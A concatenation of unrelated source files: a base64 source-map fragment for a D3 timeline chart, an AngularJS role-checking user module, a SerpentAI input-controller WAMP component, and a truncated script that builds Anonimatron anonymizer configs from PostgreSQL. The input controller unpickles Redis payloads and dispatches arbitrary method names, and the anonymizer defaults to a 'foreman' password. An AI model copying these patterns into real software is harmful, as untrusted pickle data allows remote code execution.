O1xyXG4gICAgICAgICAgICB9KVxyXG4gICAgICAgICAgICAub24oXCJtb3VzZW92ZXJcIiwgKHNlbGYuaXNFbmFibGVUb29sdGlwKSA/IHNob3dUb29sdGlwIDogbnVsbClcclxuICAgICAgICAgICAgLm9uKFwibW91c2VsZWF2ZVwiLCAoc2VsZi5pc0VuYWJsZVRvb2x0aXApID8gaGlkZVRvb2x0aXAgOiBudWxsKVxyXG4gICAgICAgICAgICAub24oXCJtb3VzZW1vdmVcIiwgY2hhbmdlQ3Vyc29yKTtcclxuXHJcbiAgICAgICAgcmVjdHMuZW50ZXIoKS5hcHBlbmQoXCJyZWN0XCIpO1xyXG4gICAgICAgIHJlY3RzLmV4aXQoKS5yZW1vdmUoKTtcclxuXHJcbiAgICAgICAgdmFyIHRleHRzID0gaXRlbVJlY3RzLnNlbGVjdEFsbChcInRleHRcIilcclxuICAgICAgICAgICAgLmRhdGEoc2VsZi5pdGVtcylcclxuICAgICAgICAgICAgLnRleHQoZnVuY3Rpb24oZCl7XHJcbiAgICAgICAgICAgIHJldHVybiBkLmxhYmVsO1xyXG4gICAgICAgICAgICB9KVxyXG4gICAgICAgICAgICAuYXR0cihcImlkXCIsIGZ1bmN0aW9uKGQpIHsgcmV0dXJuIFwidGV4dC1cIiArIGQuaWQgfSlcclxuICAgICAgICAgICAgLmF0dHIoXCJ4XCIsIGZ1bmN0aW9uKGQpIHsgcmV0dXJuIHhTY2FsZShkLnN0YXJ0KSArICh4U2NhbGUoZC5lbmQpIC0geFNjYWxlKGQuc3RhcnQpKSAvIDI7IH0pXHJcbiAgICAgICAgICAgIC5hdHRyKFwieVwiLGZ1bmN0aW9uIChkKSB7XHJcbiAgICAgICAgICAgICAgICBpZihkLmxhbmUgPiAoc2VsZi5sYW5lcy5sZW5ndGggLSAxKSkge1xyXG4gICAgICAgICAgICAgICAgICAgIGQubGFuZSA9IHNlbGYubGFuZXMubGVuZ3RoIC0gMTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgIHJldHVybiAoc2VsZi5zdWJsYW5lcyA8IDIpID8geVNjYWxlKGQubGFuZSkgKyBzZWxmLml0ZW1IZWlnaHQvMiA6IHlTY2FsZShkLmxhbmUpICsgIGQuc3VibGFuZSpzZWxmLml0ZW1IZWlnaHQgKyBzZWxmLml0ZW1IZWlnaHQvMjtcclxuICAgICAgICAgICAgfSlcclxuICAgICAgICAgICAgLmF0dHIoXCJmb250LXNpemVcIiwgMTEpXHJcbiAgICAgICAgICAgIC5hdHRyKFwidGV4dC1hbmNob3JcIiwgXCJtaWRkbGVcIilcclxuICAgICAgICAgICAgLmF0dHIoXCJ0ZXh0LWhlaWdodFwiLCAyMClcclxuICAgICAgICAgICAgLmF0dHIoXCJmaWxsXCIsIGZ1bmN0aW9uIChkKSB7IHJldHVybiBkLmZpbGxUaXRsZSA9PT0gdW5kZWZpbmVkID8gJyNmZmYnICsgJyBtYWluJyA6IGQuZmlsbFRpdGxlICsgJyBtYWluJzsgfSk7XHJcblxyXG4gICAgICAgIHRleHRzLmVudGVyKCkuYXBwZW5kKFwidGV4dFwiKTtcclxuICAgICAgICB0ZXh0cy5leGl0KCkucmVtb3ZlKCk7XHJcbiAgICAgICAgXHJcbiAgICAgICAgbWFpbi5zZWxlY3QoJ2cubWFpbi5heGlzLmRhdGUnKS5jYWxsKHhBeGlzKTtcclxuICAgICAgICBtYWluLnNlbGVjdCgnZy5tYWluLmF4aXMubGFuZScpLmNhbGwoeUF4aXMpO1xyXG5cclxuICAgICAgICBoaWRlVG9vbHRpcCgpO1xyXG4gICAgfVxyXG5cclxuICAgIGZ1bmN0aW9uIHJlc2l6ZSgpIHtcclxuICAgICAgICBpZiAoc2VsZi5pc0F1dG9SZXNpemUpIHtcclxuICAgICAgICAgICAgc2VsZi53aWR0aCA9IHBhcnNlSW50KGQzLnNlbGVjdChzZWxmLnJlbmRlclRvKS5zdHlsZSgnd2lkdGgnKSk7XHJcbiAgICAgICAgICAgIHNlbGYuaGVpZ2h0ID0gcGFyc2VJbnQoZDMuc2VsZWN0KHNlbGYucmVuZGVyVG8pLnN0eWxlKCdoZWlnaHQnKSk7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIHZhciBtYXJnaW5XaWR0aCA9IGdldE1hcmdpbldpZHRoKCksXHJcbiAgICAgICAgICAgIG1hcmdpbkhlaWdodCA9IGdldE1hcmdpbkhlaWdodCgpO1xyXG5cclxuICAgICAgICB4U2NhbGUucmFuZ2UoWzAsIG1hcmdpbldpZHRoXSk7XHJcbiAgICAgICAgeVNjYWxlLnJhbmdlKFswLCBtYXJnaW5IZWlnaHRdKTtcclxuICAgICAgICBjaGFydC5hdHRyKFwid2lkdGhcIiwgc2VsZi53aWR0aCk7XHJcbiAgICAgICAgY2hhcnQuYXR0cihcImhlaWdodFwiLCBzZWxmLmhlaWdodCk7XHJcbiAgICAgICAgY2hhcnQuc2VsZWN0KCdkZWZzJykuc2VsZWN0KCdjbGlwUGF0aCcpLnNlbGVjdCgncmVjdCcpLmF0dHIoXCJ3aWR0aFwiLCBtYXJnaW5XaWR0aCk7XHJcbiAgICAgICAgY2hhcnQuc2VsZWN0KCdkZWZzJykuc2VsZWN0KCdjbGlwUGF0aCcpLnNlbGVjdCgncmVjdCcpLmF0dHIoXCJoZWlnaHRcIiwgbWFyZ2luV2lkdGgpO1xyXG4gICAgICAgIG1haW4uYXR0cihcIndpZHRoXCIsIG1hcmdpbldpZHRoKTtcclxuICAgICAgICBtYWluLmF0dHIoXCJoZWlnaHRcIiwgbWFyZ2luSGVpZ2h0KTtcclxuXHJcbiAgICAgICAgbWFpbi5zZWxlY3QoJ2cubWFpbi5heGlzLmRhdGUnKVxyXG4gICAgICAgICAgICAuYXR0cigndHJhbnNmb3JtJywgJ3RyYW5zbGF0ZSgwLCcgKyBnZXRNYXJnaW5IZWlnaHQoKSArICcpJyk7XHJcblxyXG4gICAgICAgIG1haW4uc2VsZWN0KCdnLmxhbmVMYWJlbHMnKVxyXG4gICAgICAgICAgICAuc2VsZWN0QWxsKFwiLmxhbmVUZXh0XCIpXHJcbiAgICAgICAgICAgIC5kYXRhKHNlbGYubGFuZXMpXHJcbiAgICAgICAgICAgIC5hdHRyKFwieVwiLCBmdW5jdGlvbihkLCBpKSB7cmV0dXJuIHlTY2FsZShpICsgLjUpO30pXHJcblxyXG4gICAgICAgIHpvb20ueCh4U2NhbGUpO1xyXG5cclxuICAgICAgICBzaG93WEdyaWQoc2VsZi5pc1Nob3dZR3JpZCk7XHJcbiAgICAgICAgc2hvd1lHcmlkKHNlbGYuaXNTaG93WUdyaWQpO1xyXG5cclxuICAgICAgICByZWRyYXcoKTtcclxuICAgIH1cclxuXHJcbiAgICBmdW5jdGlvbiBzaG93TGFuZUxhYmVsKGlzU2hvd0xhbmVMYWJlbCkge1xyXG4gICAgICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIHNlbGYuaXNTaG93TGFuZUxhYmVsO1xyXG4gICAgICAgIHNlbGYuaXNTaG93TGFuZUxhYmVsID0gaXNTaG93TGFuZUxhYmVsO1xyXG4gICAgICAgIFxyXG4gICAgICAgIGlmIChpc1Nob3dMYW5lTGFiZWwgPT09IGZhbHNlKSB7XHJcbiAgICAgICAgICAgIG1haW4uc2VsZWN0QWxsKFwiLmxhbmVUZXh0XCIpLnJlbW92ZSgpO1xyXG4gICAgICAgIH1cclxuICAgICAgICBlbHNlIHsgICBcclxuICAgICAgICAgICAgbWFpbi5zZWxlY3QoJ2cubGFuZUxhYmVscycpLnNlbGVjdEFsbChcIi5sYW5lVGV4dFwiKVxyXG4gICAgICAgICAgICAgICAgLmRhdGEoc2VsZi5sYW5lcylcclxuICAgICAgICAgICAgICAgIC5lbnRlcigpLmFwcGVuZChcInRleHRcIilcclxuICAgICAgICAgICAgICAgIC50ZXh0KGZ1bmN0aW9uKGQpIHtyZXR1cm4gZDt9KVxyXG4gICAgICAgICAgICAgICAgLmF0dHIoJ2lkJyxmdW5jdGlvbihkLCBpbmRleCkge3JldHVybiAnbGFuZS0nICsgaW5kZXg7fSlcclxuICAgICAgICAgICAgICAgIC5hdHRyKFwieFwiLCAtc2VsZi5tYXJnaW4ubGVmdClcclxuICAgICAgICAgICAgICAgIC5hdHRyKFwieVwiLCBmdW5jdGlvbihkLCBpKSB7cmV0dXJuIHlTY2FsZShpICsgLjUpO30pXHJcbiAgICAgICAgICAgICAgICAuYXR0cihcImR5XCIsIFwiLjVleFwiKVxyXG4gICAgICAgICAgICAgICAgLmF0dHIoXCJ0ZXh0LWFuY2hvclwiLCBcInN0YXJ0XCIpXHJcbiAgICAgICAgICAgICAgICAuYXR0cihcImNsYXNzXCIsIFwibGFuZVRleHRcIik7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICByZXR1cm4gYXBpO1xyXG4gICAgfVxyXG5cclxuICAgIGZ1bmN0aW9uIHVwZGF0ZUl0ZW1zKG5ld0l0ZW0pIHtcclxuICAgICAgICByZXF1aXJlSXRlbUZpZWxkKG5ld0l0ZW0sIFwidXBkYXRlXCIpO1xyXG4gICAgICAgIFxyXG4gICAgICAgIHZhciBvbGRJdGVtID0gc2VsZi5pdGVtcy5maWx0ZXIoZnVuY3Rpb24ob2JqKXsgcmV0dXJuIG9iai5pZCA9PT0gbmV3SXRlbS5pZH0pWzBdO1xyXG5cclxuICAgICAgICBpZihvbGRJdGVtID09PSB1bmRlZmluZWQpIHRocm93RXJyb3IoXCJUaGlzIGl0ZW0gbm90IGZvdW5kXCIpXHJcblxyXG4gICAgICAgIGNvcHlTYW1lUHJvcChvbGRJdGVtLCBuZXdJdGVtKTtcclxuICAgICAgICBcclxuICAgICAgICBvbkl0ZW1zQ2hhbmdlKCk7XHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gc2hvd1Rvb2x0aXAoZCkge1xyXG4gICAgICAgIGlmIChkMy5ldmVudC5kZWZhdWx0UHJldmVudGVkKSByZXR1cm47XHJcbiAgICAgICAgdG9vbHRpcERpdi5zdHlsZShcImRpc3BsYXlcIiwgXCJibG9ja1wiKVxyXG4gICAgICAgICAgICAudHJhbnNpdGlvbigpXHJcbiAgICAgICAgICAgIC5kdXJhdGlvbigyMDApXHJcbiAgICAgICAgICAgIC5zdHlsZShcIm9wYWNpdHlcIiwgLjkpO1xyXG4gICAgICAgIHRvb2x0aXBEaXYuaHRtbCgodHlwZW9mIGQudG9vbHRpcCA9PT0gJ2Z1bmN0aW9uJykgPyBkLnRvb2x0aXAoKSA6IGQudG9vbHRpcClcclxuICAgICAgICAgICAgLnN0eWxlKFwibGVmdFwiLCAoZDMuZXZlbnQucGFnZVgpICsgXCJweFwiKVxyXG4gICAgICAgICAgICAuc3R5bGUoXCJ0b3BcIiwgKGQzLmV2ZW50LnBhZ2VZKSArIFwicHhcIik7XHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gc2hvd1hHcmlkKGlzU2hvd1hHcmlkKSB7XHJcbiAgICAgICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gc2VsZi5pc1Nob3dYR3JpZDtcclxuICAgICAgICB2YXIgaGVpZ2h0ID0gKGlzU2hvd1hHcmlkICE9PSBmYWxzZSkgPyAtZ2V0TWFyZ2luSGVpZ2h0KCkgOiAtNjtcclxuICAgICAgICB4QXhpcy50aWNrU2l6ZShoZWlnaHQsIDAsIDApO1xyXG4gICAgICAgIHNlbGYuaXNTaG93WEdyaWQgPSBpc1Nob3dYR3JpZDtcclxuICAgICAgICBtYWluLnNlbGVjdCgnZy5tYWluLmF4aXMuZGF0ZScpLmNhbGwoeEF4aXMpO1xyXG4gICAgICAgIHJldHVybiBhcGk7XHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gc2hvd1lHcmlkKGlzU2hvd1lHcmlkKSB7XHJcbiAgICAgICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gc2VsZi5pc1Nob3dZR3JpZDtcclxuICAgICAgICB2YXIgd2lkdGggPSAoaXNTaG93WUdyaWQgIT09IGZhbHNlKSA/IC1nZXRNYXJnaW5XaWR0aCgpIDogLTY7XHJcbiAgICAgICAgeUF4aXMudGlja1NpemUod2lkdGgsIDAsIDApO1xyXG4gICAgICAgIHNlbGYuaXNTaG93WUdyaWQgPSBpc1Nob3dZR3JpZDtcclxuICAgICAgICBtYWluLnNlbGVjdCgnZy5tYWluLmF4aXMubGFuZScpLmNhbGwoeUF4aXMpO1xyXG4gICAgICAgIHJldHVybiBhcGk7XHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gc2l6ZSh3aWR0aCwgaGVpZ2h0KSB7XHJcbiAgICAgICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gW3NlbGYud2lkdGgsIHNlbGYuaGVpZ2h0XTtcclxuICAgICAgICBzZWxmLndpZHRoID0gcGFyc2VJbnQod2lkdGgpIHx8IHNlbGYud2lkdGg7XHJcbiAgICAgICAgc2VsZi5oZWlnaHQgPSBwYXJzZUludChoZWlnaHQpIHx8IHNlbGYuaGVpZ2h0O1xyXG4gICAgICAgIGF1dG9yZXNpemUoZmFsc2UpO1xyXG4gICAgICAgIHJlc2l6ZSgpO1xyXG4gICAgICAgIHJldHVybiBhcGk7XHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gc3VibGFuZXMobmV3U3VibGFuZXMpIHtcclxuICAgICAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBzZWxmLnN1YmxhbmVzO1xyXG4gICAgICAgIHNlbGYuc3VibGFuZXMgPSBuZXdTdWJsYW5lcztcclxuICAgICAgICByZWRyYXcoKTtcclxuICAgICAgICByZXR1cm4gYXBpO1xyXG4gICAgfVxyXG5cclxuICAgIGZ1bmN0aW9uIGdldEl0ZW1zQnlMYW5lKGxhbmUpIHtcclxuICAgICAgICByZXR1cm4gc2VsZi5pdGVtcy5maWx0ZXIoZnVuY3Rpb24oaXRlbSkge1xyXG4gICAgICAgICAgICByZXR1cm4gaXRlbS5sYW5lID09IGxhbmU7XHJcbiAgICAgICAgfSlcclxuICAgIH1cclxuXHJcbiAgICBmdW5jdGlvbiBnZXRNYXhTdWJsYW5lKCkge1xyXG4gICAgICAgIHZhciBtYXhTdWJsYW5lID0ge1xyXG4gICAgICAgICAgICBtYXg6IDAsXHJcbiAgICAgICAgICAgIGxhbmVzOiBbXVxyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgZDMubWF4KHNlbGYuaXRlbXMsIGZ1bmN0aW9uKGQpIHsgXHJcbiAgICAgICAgICAgIGlmKChkLnN1YmxhbmUgKyAxKSA+IG1heFN1YmxhbmUubWF4KSB7XHJcbiAgICAgICAgICAgICAgICBtYXhTdWJsYW5lLm1heCA9IGQuc3VibGFuZSArIDE7XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9KTtcclxuXHJcbiAgICAgICAgbWF4U3VibGFuZS5sYW5lcyA9IHNlbGYuaXRlbXNcclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZmlsdGVyKGZ1bmN0aW9uKG9iaikge1xyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gb2JqLnN1YmxhbmUgPT0gKG1heFN1YmxhbmUubWF4IC0gMSk7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSlcclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAubWFwKGZ1bmN0aW9uKG9iaikge1xyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gb2JqLmxhbmU7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSlcclxuXHJcbiAgICAgICAgcmV0dXJuIG1heFN1YmxhbmU7XHJcbiAgICB9XHJcblxyXG4gICAgLy8jcmVnaW9uIFByaXZhdGUgbWV0aG9kXHJcblxyXG4gICAgZnVuY3Rpb24gY2hlY2tSZXF1aXJlSXRlbUZpZWxkKGl0ZW1zKSB7XHJcbiAgICAgICAgZm9yKHZhciBpID0gMDsgaSA8IGl0ZW1zLmxlbmd0aDsgaSsrKSB7XHJcbiAgICAgICAgICAgIHZhciBpdGVtID0gaXRlbXNbaV07XHJcbiAgICAgICAgICAgIHJlcXVpcmVJdGVtRmllbGQoaXRlbSk7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIGZ1bmN0aW9uIHJlcXVpcmVJdGVtRmllbGQoaXRlbSwgdHlwZSkge1xyXG4gICAgICAgIGlmKHR5cGUgIT09ICd1cGRhdGUnKSB7XHJcbiAgICAgICAgICAgIGlmKGl0ZW0uc3VibGFuZSA9PT0gdW5kZWZpbmVkKSB7IGl0ZW0uc3VibGFuZSA9IDA7IH1cclxuICAgICAgICAgICAgaWYoaXRlbS5jbGFzcyA9PT0gdW5kZWZpbmVkKSB7IGl0ZW0uY2xhc3MgPSAnc3VjY2Vzcyc7IH1cclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIHZhciBzdGFydERhdGUgPSBuZXcgRGF0ZShpdGVtLnN0YXJ0KTtcclxuICAgICAgICB2YXIgZW5kRGF0ZSA9IG5ldyBEYXRlKGl0ZW0uZW5kKTtcclxuICAgICAgICB2YXIgaWRzID0gc2VsZi5pdGVtcy5maWx0ZXIoZnVuY3Rpb24ob2JqKXsgcmV0dXJuIG9iai5pZCA9PT0gaXRlbS5pZH0pO1xyXG5cclxuICAgICAgICBpZihpdGVtLmlkID09PSB1bmRlZmluZWQpICB0aHJvd0Vycm9yKCdJZCByZXF1aXJlZCcpXHJcbiAgICAgICAgaWYoaXRlbS5sYW5lID09PSB1bmRlZmluZWQpIHRocm93RXJyb3IoJ0xhbmUgcmVxdWlyZWQnKVxyXG4gICAgICAgIGlmKGlkcy5sZW5ndGggPiAxKSB0aHJvd0Vycm9yKCdJZDogJyArIGlkc1swXS5pZCArICcgZXhwZWN0ZWQgdW5pcXVlJylcclxuICAgICAgICBpZighKHN0YXJ0RGF0ZSBpbnN0YW5jZW9mIERhdGUgJiYgIWlzTmFOKHN0YXJ0RGF0ZSkpKSB0aHJvd0Vycm9yKCdTdGFydCBkYXRlIGV4cGVjdGVkIERhdGUnKVxyXG4gICAgICAgIGlmKCEoZW5kRGF0ZSBpbnN0YW5jZW9mIERhdGUgJiYgIWlzTmFOKGVuZERhdGUpKSkgdGhyb3dFcnJvcignRW5kIGRhdGUgZXhwZWN0ZWQgRGF0ZScpXHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gcmVuZGVyU3VibGFuZSgpIHtcclxuICAgICAgICBcclxuICAgICAgICBzZXBhcmF0ZVN1YmxhbmUoKTtcclxuXHJcbiAgICAgICAgdmFyIG1heCA9IGdldE1heFN1YmxhbmUoKTtcclxuICAgICAgICBcclxuICAgICAgICBzaXplKHNlbGYud2lkdGgsICBtYXgubWF4KnNlbGYuaXRlbUhlaWdodCpzZWxmLmxhbmVzLmxlbmd0aCArIHNlbGYubWFyZ2luLnRvcCArIHNlbGYubWFyZ2luLmJvdHRvbSk7XHJcbiAgICAgICAgXHJcbiAgICAgICAgc3VibGFuZXMobWF4Lm1heCk7XHJcbiAgICB9XHJcbiAgICBcclxuICAgIGZ1bmN0aW9uIHNlcGFyYXRlU3VibGFuZSgpIHtcclxuICAgICAgICBmb3IodmFyIGwgPSAwOyBsIDwgc2VsZi5sYW5lcy5sZW5ndGg7IGwrKykge1xyXG4gICAgICAgICAgICB2YXIgaXRlbUxhbmVzID0gc2VsZi5pdGVtcy5maWx0ZXIoZnVuY3Rpb24ob2JqKSB7XHJcbiAgICAgICAgICAgICAgICByZXR1cm4gb2JqLmxhbmUgPT0gbDtcclxuICAgICAgICAgICAgfSk7XHJcbiAgICAgICAgICAgIFxyXG4gICAgICAgICAgICBmb3IodmFyIGkgPSAwOyBpIDwgaXRlbUxhbmVzLmxlbmd0aDsgaSsrKSB7XHJcbiAgICAgICAgICAgICAgICB2YXIgaXRlbSA9IGl0ZW1MYW5lc1tpXTtcclxuICAgICAgICAgICAgICAgIHZhciBpdGVtQ2hhbmdlID0gc2VsZi5pdGVtcy5maW5kKFxyXG4gICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uKG9iail7IHJldHVybiBvYmouaWQgPT09IGl0ZW0uaWR9XHJcbiAgICAgICAgICAgICAgICApO1xyXG4gICAgICAgICAgICAgICAgaXRlbUNoYW5nZS5zdWJsYW5lID0gaTtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH0gICAgICAgIFxyXG4gICAgfVxyXG5cclxuXHJcbiAgICAvLyNlbmRyZWdpb25cclxuICAgIGZ1bmN0aW9uIHRocm93RXJyb3IobXNnKSB7XHJcbiAgICAgICAgdGhyb3cgVHlwZUVycm9yKG1zZyk7XHJcbiAgICB9XHJcblxyXG4gICAgcmV0dXJuIGFwaTtcclxufVxyXG4iXX0=
|
'use strict';
/**
* This file is part of the NAD package.
*
* (c) Ivan Proskuryakov
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*
* @name NADUser
* @description User module
*/
define(['app',
'./config/user',
'./controllers/user',
'./services/auth',
'./services/user/user'
], function (app) {
console.log('User module loaded ...');
app.run(['$http', '$rootScope', 'authService', 'userService',
function ($http, $rootScope, authService, userService) {
$rootScope.$on('$stateChangeStart', function (event, toState, toParams, fromState, fromParams) {
if (typeof toState.data !== 'undefined') {
console.log('Role needed: ' + toState.data.role);
var role = toState.data.role;
if (role == 'user') {
if ($rootScope.user === undefined) {
userService.getUserInformation().success(
function (data, status) {
if (data.username) {
$rootScope.user = data;
} else {
$rootScope.user = false;
event.preventDefault();
authService.authenticateWithModal()
}
}
);
} else if ($rootScope.user == false) {
event.preventDefault();
authService.authenticateWithModal()
}
}
}
});
}])
});
|
import asyncio
from autobahn.asyncio.wamp import ApplicationSession, ApplicationRunner
from autobahn.wamp.types import RegisterOptions, SubscribeOptions
from autobahn.wamp import auth
from serpent.config import config
from serpent.utilities import is_windows
from serpent.input_controller import InputController, InputControllers, KeyboardKey
import aioredis
import json
import pickle
import offshoot
class InputControllerComponent:
@classmethod
def run(cls):
print(f"Starting {cls.__name__}...")
url = "ws://%s:%s" % (config["crossbar"]["host"], config["crossbar"]["port"])
runner = ApplicationRunner(url=url, realm=config["crossbar"]["realm"])
runner.run(InputControllerWAMPComponent)
class InputControllerWAMPComponent(ApplicationSession):
def __init__(self, c=None):
super().__init__(c)
self.redis_client = None
self.input_controller = None
def onConnect(self):
self.join(config["crossbar"]["realm"], ["wampcra"], config["crossbar"]["auth"]["username"])
def onDisconnect(self):
print("Disconnected from Crossbar!")
def onChallenge(self, challenge):
secret = config["crossbar"]["auth"]["password"]
signature = auth.compute_wcs(secret.encode('utf8'), challenge.extra['challenge'].encode('utf8'))
return signature.decode('ascii')
async def onJoin(self, details):
self.redis_client = await self._initialize_redis_client()
game_class_name = await self.redis_client.get("SERPENT:GAME")
game_class = offshoot.discover("Game")[game_class_name.decode("utf-8")]
game = game_class()
game.launch(dry_run=True)
backend_string=config["input_controller"]["backend"]
backend = InputControllers.NATIVE_WIN32 if is_windows() else InputControllers.PYAUTOGUI
if backend_string != "DEFAULT":
try:
backend = InputControllers[backend_string]
except KeyError:
pass
self.input_controller = InputController(game=game, backend=backend)
while True:
payload = await self.redis_client.brpop(config["input_controller"]["redis_key"])
payload = pickle.loads(payload[1])
input_controller_func_string, *args, kwargs = payload
getattr(self.input_controller, input_controller_func_string)(*args, **kwargs)
await asyncio.sleep(0.01)
async def _initialize_redis_client(self):
return await aioredis.create_redis(
(config["redis"]["host"], config["redis"]["port"]),
loop=asyncio.get_event_loop()
)
if __name__ == "__main__":
InputControllerComponent.run()
|
#!/usr/bin/env python
# The MIT License (MIT)
#
# Copyright (c) 2018 Bill Ryder
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import inspect
import json
import logging
import os
import sys
import datetime
import configargparse
import psycopg2
import psycopg2.extras
import jinja2
import jinja2.meta
script_path = os.path.realpath(__file__)
script_dir = os.path.dirname(script_path)
script_deploy_dir = os.path.dirname(script_dir)
script_etc_dir = os.path.join(script_deploy_dir, 'etc')
script_lib_dir = os.path.join(script_deploy_dir, 'lib')
script_path_no_ext = os.path.splitext(script_path)[0]
class JSONObjectEncoder(json.JSONEncoder):
"""
Use this class to make almost any object json.dump able.
use it like
json.dumps(thing, cls=utils.ObjectEncoder)
It will not dump any attribute prefixed with '_' or '__'
"""
def default(self, obj):
# DANGER: mock 2.0.0 will add the to_json attribute to magic mocked method.
# it looks like there are fixes in the git repo but they are not released on PyPi
# The workaround is to only look for to_json on a class.
if inspect.isclass(obj) and hasattr(obj, "to_json"):
return self.default(obj.to_json())
if isinstance(obj, dict):
return obj
elif isinstance(obj, datetime.datetime):
return obj.isoformat()
elif isinstance(obj, datetime.timedelta):
return str(obj)
elif isinstance(obj, set):
return list(obj)
else:
d = dict()
if hasattr(obj, '__dict__'):
key_values = obj.__dict__.items()
else:
# for objects which do not have __dict__ you have to look at the members
key_values = inspect.getmembers(obj)
for key, value in key_values:
# Note the NonCallableMagicMock test at the end - if you do not
# do this if you json.dumps a mocked class then method_calls will pollute
# your output when testing.
if key.startswith("__") or key.startswith("_") \
or inspect.isabstract(value) \
or inspect.isbuiltin(value) \
or inspect.isfunction(value) \
or inspect.isgenerator(value) \
or inspect.ismethod(value) \
or inspect.isgeneratorfunction(value) \
or inspect.ismethoddescriptor(value) \
or inspect.isroutine(value) \
or key == 'method_calls' and 'NonCallableMagicMock' in str(type(obj)) :
pass
else:
d[key] = value
return self.default(d)
try:
# This is only used in pycharm - it has stubs for this for python 2.7
from typing import List, Optional, Dict, Any, AnyStr # for type hinting
except Exception as exception_does_not_matter:
pass
global_log = None
def setup_logger(log=None, name=None):
if log is None:
resolved_log = logging.getLogger(name) # None means the root logger
shandler = logging.StreamHandler(sys.stderr)
shandler.setFormatter(
logging.Formatter(
"%(levelname)-8s %(asctime)s %(filename)16s:%(funcName)s:%(lineno)-4d "
" %(message)s")
)
resolved_log.addHandler(shandler)
else:
resolved_log = log
return resolved_log
def process_args(args_in, prog=None, log=None):
ap = configargparse.ArgumentParser(
description='generate a anonimatron xml config file for a database - WIP! ',
prog=prog,
formatter_class=configargparse.ArgumentDefaultsHelpFormatter,
config_file_parser_class=configargparse.YAMLConfigFileParser)
ap.add_argument(
'-c', '--config', is_config_file=True,
help="Put default arguments in this yaml file")
ap.add_argument(
"-d", "--debug", action="store_true",
help="debug mode - will turn on verbose as well",)
ap.add_argument(
"-v", "--verbose", action="store_true",
help="verbose mode")
ap.add_argument(
"--host",
default='localhost',
help='database hostname',
)
ap.add_argument(
"--database",
default='foreman',
help='name of database'
)
ap.add_argument(
"--user",
default='foreman',
help='database username',
)
ap.add_argument(
"--password",
default='foreman',
help="database user password",
)
cli_args = ap.parse_args(args_in)
log.setLevel(logging.WARNING)
if cli_args.verbose:
log.setLevel(logging.INFO)
if cli_args.debug:
log.setLevel(logging.DEBUG)
log.info("Argument values: %s" % ap.format_values())
log.info(
"Resolved argument namespace %s" %
json.dumps(
cli_args, indent=2,
cls=JSONObjectEncoder)
)
return cli_args
# language=XML
project_template = '''
<configuration salt="somethingsalty"
jdbcurl="jdbc:postgresql://{{ host }}/{{ database }}" userid="{{ user }}" password="{{ password }}">
<anonymizerclass>nz.billryder.anonimatron.anonymizer.DomainAnonymizer</anonymizerclass>
{% for table in tables %}
<table name="{{ table.name }}">
{% for column in table.columns %}
<column name="{{ column.name }}" type="{{ column.anon_type }}" size="{{ column.anon_size}}"/>
{% endfor %}
</table>
{% endfor %}
</configuration>
'''
data_type_map = {
'character varying': 'STRING',
'integer': None,
'text': 'STRING',
'timestamp without time zone': None,
'timestamp with time zone': None,
'boolean': None,
'xid': None,
'smallint': None,
'regproc': None,
'real': None,
'oid': None,
'bigint': None,
'double precision': None,
'char': 'STRING',
'"char"': 'STRING',
}
def get_table_names(conn, database_name, schema_name='public'):
"""
:param conn: database connection
:param str database_name:
:return: list of table names
:rtype: list[str]
"""
tables = list() # type: List[str]
# table_catalog is the database name
# table_schema
with conn.cursor() as cursor:
cursor.execute(
'''
SELECT tablename
FROM pg_catalog.pg_tables
WHERE schemaname = %s AND tableowner = %s
ORDER by tablename
''', (schema_name, database_name)
)
for table_row in cursor.fetchall():
table_name = table_row[0]
tables.append(table_name)
return tables
def get_primary_keys(conn, schema, table):
keys = list()
with conn.cursor() as c:
c.execute(
'''
SELECT column_name
FROM information_schema.table_constraints
JOIN information_schema.key_column_usage
USING (constraint_catalog, constraint_schema, constraint_name,
table_catalog, table_schema, table_name)
